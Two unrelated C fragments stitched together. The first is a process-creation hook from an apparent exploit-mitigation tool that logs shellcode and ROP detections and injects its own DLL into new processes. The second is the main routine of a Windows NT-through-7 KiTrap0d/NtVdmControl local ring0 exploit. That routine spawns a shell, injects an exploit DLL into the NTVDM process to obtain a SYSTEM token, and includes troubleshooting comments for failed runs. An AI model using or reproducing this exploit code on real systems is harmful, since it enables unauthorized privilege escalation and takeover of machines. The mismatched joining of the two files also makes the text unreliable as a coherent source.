BOOL WINAPI HookedCreateProcessInternalW( HANDLE hToken, LPCWSTR lpApplicationName, LPWSTR lpCommandLine, LPSECURITY_ATTRIBUTES lpProcessAttributes, LPSECURITY_ATTRIBUTES lpThreadAttributes, BOOL bInheritHandles, DWORD dwCreationFlags, LPVOID lpEnvironment, LPCWSTR lpCurrentDirectory, LPSTARTUPINFOW lpStartupInfo, LPPROCESS_INFORMATION lpProcessInformation, PHANDLE hNewToken ) { BOOL bReturn; CHAR szDllFullPath[MAX_PATH]; /* apply config rules if shellcode or ROP detected */ if ( DbgGetShellcodeFlag() == MCEDP_STATUS_SHELLCODE_FLAG_SET || DbgGetRopFlag() == MCEDP_STATUS_ROP_FLAG_SET ) { if ( MCEDP_REGCONFIG.SHELLCODE.ANALYSIS_SHELLCODE ) { CHAR *szApplicationNameA = (CHAR *)LocalAlloc(LMEM_ZEROINIT, 1024); CHAR *szCommandLineA = (CHAR *)LocalAlloc(LMEM_ZEROINIT, 1024); PXMLNODE XmlLogNode; PXMLNODE XmlIDLogNode; if ( lpApplicationName != NULL ) wcstombs( szApplicationNameA, lpApplicationName, 1024); if ( lpCommandLine != NULL ) wcstombs( szCommandLineA, lpCommandLine, 1024); XmlIDLogNode = mxmlNewElement( XmlShellcode, "row"); /* type */ XmlLogNode = mxmlNewElement( XmlIDLogNode, "type"); mxmlNewText( XmlLogNode, 0, "1"); /* exec */ XmlLogNode = mxmlNewElement( XmlIDLogNode, "exec_process"); mxmlNewText( XmlLogNode, 0, szApplicationNameA); XmlLogNode = mxmlNewElement( XmlIDLogNode, "exec_cmd"); mxmlNewText( XmlLogNode, 0, szCommandLineA); /* save */ SaveXml( XmlLog ); LocalFree(szApplicationNameA); LocalFree(szCommandLineA); } /* if malware execution is not allowd then terminate the process */ if ( MCEDP_REGCONFIG.GENERAL.ALLOW_MALWARE_EXEC == FALSE ) TerminateProcess(GetCurrentProcess(), STATUS_ACCESS_VIOLATION); /* let the malware execute */ return (CreateProcessInternalW_( hToken, lpApplicationName, lpCommandLine, lpProcessAttributes, lpThreadAttributes, bInheritHandles, dwCreationFlags, lpEnvironment, lpCurrentDirectory, lpStartupInfo, lpProcessInformation, hNewToken)); } /* if the process is creating with CREATE_SUSPENDED flag, let it do its job */ if ( IsBitSet(dwCreationFlags, 2) ) { bReturn = CreateProcessInternalW_( hToken, lpApplicationName, lpCommandLine, lpProcessAttributes, lpThreadAttributes, bInheritHandles, dwCreationFlags, lpEnvironment, lpCurrentDirectory, lpStartupInfo, lpProcessInformation, hNewToken); if ( bReturn != FALSE ) { strncpy( szDllFullPath, MCEDP_REGCONFIG.MCEDP_MODULE_PATH, MAX_PATH ); if ( InjectDLLIntoProcess( szDllFullPath, lpProcessInformation->hProcess ) != MCEDP_STATUS_SUCCESS ) { DEBUG_PRINTF(LDBG, NULL, "Module failed to inject itself into newly created process , PID : %d\n", lpProcessInformation->dwProcessId); return bReturn; } DEBUG_PRINTF(LDBG, NULL, "Module injected itself into newly created process , PID : %d\n", lpProcessInformation->dwProcessId); /* Sleep for INIT_WAIT_TIME sec and let MCEDP init itself in newly created process TODO : use a messaging mechanism and resume process after init finished instead of sleeping! */ Sleep(INIT_WAIT_TIME); return bReturn; } } else { /* if the process is not creating with CREATE_SUSPENDED flag, force it do it */ bReturn = CreateProcessInternalW_( hToken, lpApplicationName, lpCommandLine, lpProcessAttributes, lpThreadAttributes, bInheritHandles, dwCreationFlags | CREATE_SUSPENDED , lpEnvironment, lpCurrentDirectory, lpStartupInfo, lpProcessInformation, hNewToken); if ( bReturn != FALSE ) { /* TODO : We dont need this if ther process is already added into Protection List in registry, so we should remove this lines */ strncpy( szDllFullPath, MCEDP_REGCONFIG.MCEDP_MODULE_PATH, MAX_PATH ); if ( InjectDLLIntoProcess( szDllFullPath, lpProcessInformation->hProcess ) != MCEDP_STATUS_SUCCESS ) { DEBUG_PRINTF(LDBG, NULL, "Module failed to inject itself into newly created process , PID : %d\n", lpProcessInformation->dwProcessId); ResumeThread(lpProcessInformation->hThread); return bReturn; } DEBUG_PRINTF(LDBG, NULL, "Module injected itself into newly created process , PID : %d\n", lpProcessInformation->dwProcessId); /* Sleep for INIT_WAIT_TIME sec and let MCEDP init itself in newly created process TODO : use a messaging mechanism and resume process after init finished instead of sleeping! */ Sleep(INIT_WAIT_TIME); ResumeThread(lpProcessInformation->hThread); return bReturn; } } return bReturn; }
int main(int argc, char **argv) { HANDLE VdmHandle; HANDLE RemoteThread; DWORD ShellPid; DWORD ThreadCode; DWORD KernelBase; CHAR Buf[32]; char * tempdir; char * dllpath; char * sysroot; char * debugpath; char * cmdpath; DWORD Offset; PCHAR Command; LogMessage(L_INFO, "\r" "--------------------------------------------------\n" "Windows NT/2K/XP/2K3/VISTA/2K8/7 NtVdmControl()->KiTrap0d local ring0 exploit\n" "-------------------------------------------- [email protected] ---\n" "\n" ); // Create paths for vdmexploit.dll, cmd.exe and debug.exe tempdir = getenv("TEMP"); dllpath = malloc(strlen(tempdir) + 20); // I like some extra space :) strcpy(dllpath,tempdir); strcat(dllpath,"\\VDMEXPLOIT.DLL"); sysroot = getenv("SYSTEMROOT"); debugpath = malloc(strlen(sysroot) + 30); strcpy(debugpath,sysroot); strcat(debugpath,"\\SYSTEM32\\DEBUG.EXE"); cmdpath = malloc(strlen(sysroot) + 30); strcpy(cmdpath,sysroot); strcat(cmdpath,"\\SYSTEM32\\CMD.EXE"); // Spawn the process to be elevated to SYSTEM. LogMessage(L_INFO, "Spawning a shell to give SYSTEM token (do not close it)"); if (argc > 1) { Command = (PCHAR)argv[1]; } else { Command = NULL; } if (PrepareProcessForSystemToken(cmdpath, Command, &ShellPid) != TRUE) { LogMessage(L_ERROR, "PrepareProcessForSystemToken() returned failure"); goto finished; } // Scan kernel image for the required code sequence, and find the base address. if (ScanForCodeSignature(&KernelBase, &Offset) == FALSE) { LogMessage(L_ERROR, "ScanForCodeSignature() returned failure"); goto finished; } // Pass the parameters required by exploit thread to NTVDM. SetEnvironmentVariable("VDM_TARGET_PID", (sprintf(Buf, "%#x", ShellPid), Buf)); SetEnvironmentVariable("VDM_TARGET_KRN", (sprintf(Buf, "%#x", KernelBase), Buf)); SetEnvironmentVariable("VDM_TARGET_OFF", (sprintf(Buf, "%#x", Offset), Buf)); // Invoke the NTVDM subsystem, by launching any MS-DOS executable. LogMessage(L_INFO, "Starting the NTVDM subsystem by launching MS-DOS executable"); if (SpawnNTVDMAndGetUsefulAccess(debugpath, &VdmHandle) == FALSE) { LogMessage(L_ERROR, "SpawnNTVDMAndGetUsefulAccess() returned failure"); goto finished; } // Start the exploit thread in the NTVDM process. LogMessage(L_DEBUG, "Injecting the exploit thread into NTVDM subsystem @%#x", VdmHandle); if (InjectDLLIntoProcess(dllpath, VdmHandle, &RemoteThread) == FALSE) { LogMessage(L_ERROR, "InjectDLLIntoProcess() returned failure"); goto finished; } // Wait for the thread to complete LogMessage(L_DEBUG, "WaitForSingleObject(%#x, INFINITE);", RemoteThread); WaitForSingleObject(RemoteThread, INFINITE); // I pass some information back via the exit code to indicate what happened. GetExitCodeThread(RemoteThread, &ThreadCode); LogMessage(L_DEBUG, "GetExitCodeThread(%#x, %p); => %#x", RemoteThread, &ThreadCode, ThreadCode); switch (ThreadCode) { case 'VTIB': // A data structure supplied to the kernel called VDM_TIB has to have a `size` field that // matches what the kernel expects. // Try running `kd -kl -c 'uf nt!VdmpGetVdmTib;q'` and looking for the size comparison. LogMessage(L_ERROR, "The exploit thread was unable to find the size of the VDM_TIB structure"); break; case 'NTAV': // NtAllocateVirtualMemory() can usually be used to map the NULL page, which NtVdmControl() // expects to be present. // The exploit thread reports it didn't work. LogMessage(L_ERROR, "The exploit thread was unable to map the virtual 8086 address space"); break; case 'VDMC': // NtVdmControl() must be initialised before you can begin vm86 execution, but it failed. // It's entirely undocumented, so you'll have to use kd to step through it and find out why // it's failing. LogMessage(L_ERROR, "The exploit thread reports NtVdmControl() failed"); break; case 'LPID': // This exploit will try to transplant the token from PsInitialSystemProcess on to an // unprivileged process owned by you. // PsLookupProcessByProcessId() failed when trying to find your process. LogMessage(L_ERROR, "The exploit thread reports that PsLookupProcessByProcessId() failed"); break; case FALSE: // This probably means LoadLibrary() failed, perhaps the exploit dll could not be found? // Verify the vdmexploit.dll file exists, is readable and is in a suitable location. LogMessage(L_ERROR, "The exploit thread was unable to load the injected dll"); break; case 'w00t': // This means the exploit payload was executed at ring0 and succeeded. LogMessage(L_INFO, "The exploit thread reports exploitation was successful"); LogMessage(L_INFO, "w00t! You can now use the shell opened earlier"); break; default: // Unknown error. Sorry, you're on your own. LogMessage(L_ERROR, "The exploit thread returned an unexpected error, %#x", ThreadCode); break; } TerminateProcess(VdmHandle, 0); CloseHandle(VdmHandle); CloseHandle(RemoteThread); finished: // LogMessage(L_INFO, "Press any key to exit..."); // getch(); return 0; }